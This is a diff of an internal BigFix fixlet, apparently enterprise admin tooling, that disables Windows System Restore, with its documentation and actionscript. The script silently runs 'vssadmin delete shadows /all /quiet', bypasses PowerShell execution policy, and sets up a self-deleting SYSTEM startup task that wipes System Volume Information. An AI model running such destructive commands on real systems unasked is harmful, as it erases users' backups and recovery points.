-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Files Installed<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Some temporary files are created, then executed and deleted.<o:p></o:p></FONT></FONT></P>
-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Installation and Operation<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri><FONT size=3>From the BigFix console, Take Action on the System Restore Off fixlet. The client will run the actionscript, which does the following:<o:p></o:p></FONT></FONT></P>
-<H3 style="MARGIN: 10pt 0in 0pt"><FONT color=#4f81bd><FONT face=Cambria><FONT size=3>Windows XP<o:p></o:p></FONT></FONT></FONT></H3>
-<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Sets <B style="mso-bidi-font-weight: normal">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DiskPercent</B> to 1<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Temporarily sets <B style="mso-bidi-font-weight: normal">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR</B> to 0<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>If the System Restore service is running, restarts it. Otherwise it sets the System Restore service to automatically start then starts it<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Disables the System Restore service via WMI, which also deletes all System Restore points <SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">and sets the DisableSR registry value back to 1</SPAN>.<o:p></o:p></FONT></FONT></P>
-<H3 style="MARGIN: 10pt 0in 0pt"><FONT color=#4f81bd><FONT face=Cambria><FONT size=3>Windows 7+<o:p></o:p></FONT></FONT></FONT></H3>
-<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Disables the <B style="mso-bidi-font-weight: normal">Microsoft\Windows\SystemRestore\SR</B> scheduled task<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Removes any values in <B style="mso-bidi-font-weight: normal">HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients</B><o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Attempts to remove existing restore points using <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: black">vssadmin delete shadows /all /quiet</SPAN></B><o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Creates a scheduled task to run on the next reboot that:<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Deletes the contents of any remaining <SPAN style="COLOR: black">System Volume Information folders on the drives’ root folders</SPAN><o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3><SPAN style="COLOR: black">Deletes any temporary files that were created</SPAN><o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><FONT face=Calibri><SPAN style="COLOR: black">Deletes the scheduled task</SPAN><o:p></o:p></FONT></FONT></P>
-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Known Issues<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>It’s possible that something in the filesystem continues to use the System Restore files even after a reboot, which would prevent deletion. If this amount of data is more than 10 MB then the result of the BigFix action will show as Failed. In these rare cases I would suggest running the fixlet again. If the issue persists, connect to the device and attempt to delete the existing restore points and disable System Restore manually through the System control panel.<o:p></o:p></FONT></FONT></P>
-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Rollback Procedures<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Configure System Restore via the control panel, or create a fixlet to re-enable it.</FONT></FONT></P>
-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Notes<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l2 level1 lfo5"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>This fixlet requires a restart before completing fully.</FONT></FONT></P>
-<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Document Changelog<o:p></o:p></FONT></FONT></FONT></H1>
-<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>04/05/2016, Sean Seymour: Version 2.3 - Fixed a bug in the actionscript command to create the scheduled task that runs after the reboot.<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>03/16/2016, Sean Seymour: Version 2.2 - Added Win7+ info<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3><SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">11/03/2015</SPAN>, Sean Seymour: Version 2.1 <SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>- Clarified that the DisableSR registry value gets set back to 1.</SPAN><o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>10/28/2015, Sean Seymour: Version 2.0 with updated information regarding the WMI step<o:p></o:p></FONT></FONT></P>
-<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3 face=Calibri>09/22/2015, Sean Seymour: Version 1.0 of this document created</FONT><o:p></o:p></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[((sum of sizes of descendants of folder "C:\System Volume Information" / (1024*1024)) > 10) or ((windows of operating system and version of operating system >= "6.1") and (exists value whose (name of it is "RPSessionInterval" and it > 0) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" of native registry) or (exists values of keys "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients" of native registry) or exists scheduled task whose (path of it is "\Microsoft\Windows\SystemRestore\SR" and enabled of it))]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 17 May 2016 14:50:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {name of operating system as string starts with "WinXP"}
-	parameter "ServiceName" = "srservice"
-
-	// Enable System Restore first, since it may be in a semi-disabled state
-	// which can seem off but is actually creating unregulated restore points.
-	// This can result in System Restore actually filling up all remaining drive
-	// space with restore points until it brings down the device.
-	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]" "DiskPercent"=dword:1
-	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]" "DisableSR"=dword:0
-
-	// Need the service available to make these changes.
-	if {exists running service (parameter "ServiceName")}
-		parameter "ServiceState" = "Running"
-	else
-		if {exists service (parameter "ServiceName")}
-			// If the service is disabled, we need to change the configuration first.
-			if {start type of service (parameter "ServiceName") = "disabled"}
-				waithidden cmd /s /c "sc config "{parameter "ServiceName"}" start= demand && sc start "{parameter "ServiceName"}""
-			else
-				waithidden cmd /c sc start "{parameter "ServiceName"}"
-			endif
-			parameter "ServiceState" = "{state of service (parameter "ServiceName")}"
-		else
-			parameter "ServiceState" = "Unknown"
-		endif
-	endif
-
-	continue if {(parameter "ServiceState") is not "Unknown"}
-endif
-
-// Check if PowerShell exists. Otherwise we will use vbscript.
-if {exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of native registry}
-	parameter "PowerShellExists" = "True"
-else
-	parameter "PowerShellExists" = "False"
-endif
-
-if {(parameter "PowerShellExists") is "True"}
-	waithidden powershell -executionpolicy bypass "[System.IO.DriveInfo]::GetDrives() | ? {{$_.DriveType -eq 'Fixed'} | % {{Disable-ComputerRestore -Drive $_}"
-else
-	// Disable System Restore via wmi & vbcript.
-	delete __createfile
-	delete run.vbs
-
-	createfile until _end_
-' Original source: http://windowsitpro.com/scripting/rem-disabling-system-restore
-Option Explicit
-Dim SystemRestoreEnabled, objRP, ReturnCode
-
-' Check if computer has any restore points.
-SystemRestoreEnabled = False
-For Each objRP In GetObject("winmgmts:{{impersonationlevel=impersonate}!root/default").InstancesOf("SystemRestore")
-  SystemRestoreEnabled = True
-  Exit For
-Next
-
-ReturnCode = 0
-
-If SystemRestoreEnabled Then
-  ' Disable System Restore for all drives on the computer
-  ReturnCode = GetObject("winmgmts:{{impersonationLevel=impersonate}!root/default:SystemRestore").Disable("")
-End If
-
-Wscript.Quit ReturnCode
-	_end_
-
-	move __createfile run.vbs
-
-	override wait
-	hidden=true
-	completion=job
-	wait cscript.exe run.vbs
-endif
-
-// The above code for Win7 simply disables the ability to restore system restore points.
-// There is additional work needed to:
-// 1. Disable the built in scheduled task that periodically creates restore points.
-// 2. Remove a registry key that may have some drives as System Restore 'clients'.
-// 3. Delete any existing restore points.
-// 4. Clean up the System Volume Information folders after the next reboot.
-if {windows of operating system and version of operating system >= "6.1"}
-	// 1. Disable the built in scheduled task that periodically creates restore points.
-	parameter "SysRestoreTaskPath" = "\Microsoft\Windows\SystemRestore\SR"
-	if {exists scheduled task whose (path of it is (parameter "SysRestoreTaskPath") and enabled of it)}
-		waithidden schtasks /change /tn {parameter "SysRestoreTaskPath"} /disable
-	endif
-
-	// 2. Remove a registry key that may have some drives as System Restore 'clients'.
-	action uses wow64 redirection false
-	parameter "SysRestoreClientPath" = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients"
-	waithidden reg delete "{parameter "SysRestoreClientPath"}" /va /f
-
-	// 3. Delete any existing restore points.
-	waithidden vssadmin delete shadows /all /quiet
-
-	// 4. Clean up the System Volume Information folders.
-	// Any remaining files in the System Volume Information folders are usually
-	// locked / in use until the next reboot. So create a scheduled task that
-	// will delete the files at startup then delete itself (the task).
-	parameter "SysVolInfoBasename" = "DeleteSysVolInfoContents"
-	parameter "OutputFolder" = "{storage folder of client as string & "\SystemRestoreOff"}"
-	parameter "TaskScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.bat"
-
-	if {not exist folder (parameter "OutputFolder")}
-	  folder create "{parameter "OutputFolder"}"
-	endif
-
-	// Create a script to delete the contents of all files in the System Volume Information
-	// folder on the root of any fixed drive.
-	if {(parameter "PowerShellExists") is "True"}
-		parameter "ScriptCall" = "powershell -executionpolicy bypass -file {"%22"}%~n0.ps1{"%22"}"
-		parameter "ScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.ps1"
-		delete __createfile
-		createfile until _end_
-[System.IO.DriveInfo]::GetDrives() | ? {{$_.DriveType -eq 'Fixed'} | % {{Get-ChildItem -Path (Join-Path $_ 'System Volume Information') -Recurse | Remove-Item -Force -Recurse}
-_end_
-	else
-		parameter "ScriptCall" = "cscript {"%22"}%~n0.vbs{"%22"}"
-		parameter "ScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.vbs"
-
-		delete __createfile
-		createfile until _end_
-option explicit
-on error resume next
-const FixedDrive = 2
-dim file, folder, objDrive, objFolder, sysVolInfoPath
-dim objFSO: set objFSO = CreateObject("Scripting.FileSystemObject")
-dim colDrives: set colDrives = objFSO.Drives
-
-for each objDrive in colDrives
-	if FixedDrive = objDrive.DriveType then
-		sysVolInfoPath = objDrive.RootFolder & "System Volume Information"
-
-		set objFolder = objFSO.GetFolder(sysVolInfoPath)
-
-		for each folder in objFolder.SubFolders
-			objFSO.DeleteFolder folder.path, true
-		next
-
-		for each file in objFolder.Files
-			objFSO.DeleteFile file.path, true
-		next
-	end if
-next
-_end_
-	endif
-
-	// Copy fails if the file exists, so delete it first.
-	// Delete calls do not fail if the file is not there.
-	delete "{parameter "ScriptPath"}"
-	move __createfile "{parameter "ScriptPath"}"
-
-	// Create the batch file that the scheduled task will use to execute the script.
-	// When it's done it will delete the task, itself and any helper files in that dir.
-	// In some instances the call to vssadmin doesn't work pre-reboot, so throw it in here again.
-	delete __createfile
-	createfile until _end_
-@echo off
-cd /d "%~dp0"
-vssadmin delete shadows /all /quiet
-{parameter "ScriptCall"}
-schtasks /delete /tn "%~n0" /f
-cd /d %systemdrive%\
-start cmd /c rd /s/q "%~dp0"&exit /b
-_end_
-
-	// Copy the batch file to the predefined path for the scheduled task.
-	delete "{parameter "TaskScriptPath"}"
-	move __createfile "{parameter "TaskScriptPath"}"
-
-	// Create the startup task.
-	// The tr argument requires the quotes to be escaped if there are spaces in the path.
-	waithidden schtasks /create /ru System /tn "{parameter "SysVolInfoBasename"}" /sc onstart /tr "\"{parameter "TaskScriptPath"}"\" /f
-
-	action requires restart "SystemRestoreOff"
-endif]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : System Restore Off / Disable
+  ID       : 20643
+  Author   : Sean
+  Domain   : BESC
+  Imported : 2016-05-17T07:54:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>System Restore Off / Disable</Title>
+    <Description><![CDATA[<DIV style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; BORDER-BOTTOM: #4f81bd 1pt solid; PADDING-BOTTOM: 4pt; PADDING-TOP: 0in; PADDING-LEFT: 0in; BORDER-LEFT: medium none; PADDING-RIGHT: 0in; mso-element: para-border-div; mso-border-bottom-themecolor: accent1">
+<P class=MsoTitle style="TEXT-ALIGN: center; MARGIN: 0in 0in 15pt" align=center><SPAN style="FONT-SIZE: 20pt"><FONT color=#17365d><FONT face=Cambria>Developer Documentation for System Restore Off<?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></FONT></SPAN></P></DIV>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Author(s):</B> Sean Seymour<o:p></o:p></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Document Version:</B> 2.3<o:p></o:p></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Last Updated:</B> 04/05/2016<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Overview<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>System Restore has been found to cause issues with disk space on certain devices and issues with restoring old versions of programs on other devices. This package fixes the System Restore state if it has been disabled incorrectly, then deletes all system restore points and disables it correctly. On Windows 7 devices, it also disables the built in scheduled task that periodically creates restore points.<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Affected Device(s)<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Any device with System Restore Information &gt; 10 MB<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><FONT face=Calibri>Any Win7+ device that has registry data or scheduled tasks indicating System Restore is active (details below)</FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Files Installed<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Some temporary files are created, then executed and deleted.<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Installation and Operation<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri><FONT size=3>From the BigFix console, Take Action on the System Restore Off fixlet. The client will run the actionscript, which does the following:<o:p></o:p></FONT></FONT></P>
+<H3 style="MARGIN: 10pt 0in 0pt"><FONT color=#4f81bd><FONT face=Cambria><FONT size=3>Windows XP<o:p></o:p></FONT></FONT></FONT></H3>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Sets <B style="mso-bidi-font-weight: normal">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DiskPercent</B> to 1<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Temporarily sets <B style="mso-bidi-font-weight: normal">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR</B> to 0<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>If the System Restore service is running, restarts it. Otherwise it sets the System Restore service to automatically start then starts it<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Disables the System Restore service via WMI, which also deletes all System Restore points <SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">and sets the DisableSR registry value back to 1</SPAN>.<o:p></o:p></FONT></FONT></P>
+<H3 style="MARGIN: 10pt 0in 0pt"><FONT color=#4f81bd><FONT face=Cambria><FONT size=3>Windows 7+<o:p></o:p></FONT></FONT></FONT></H3>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Disables the <B style="mso-bidi-font-weight: normal">Microsoft\Windows\SystemRestore\SR</B> scheduled task<o:p></o:p></FONT></FONT></P>
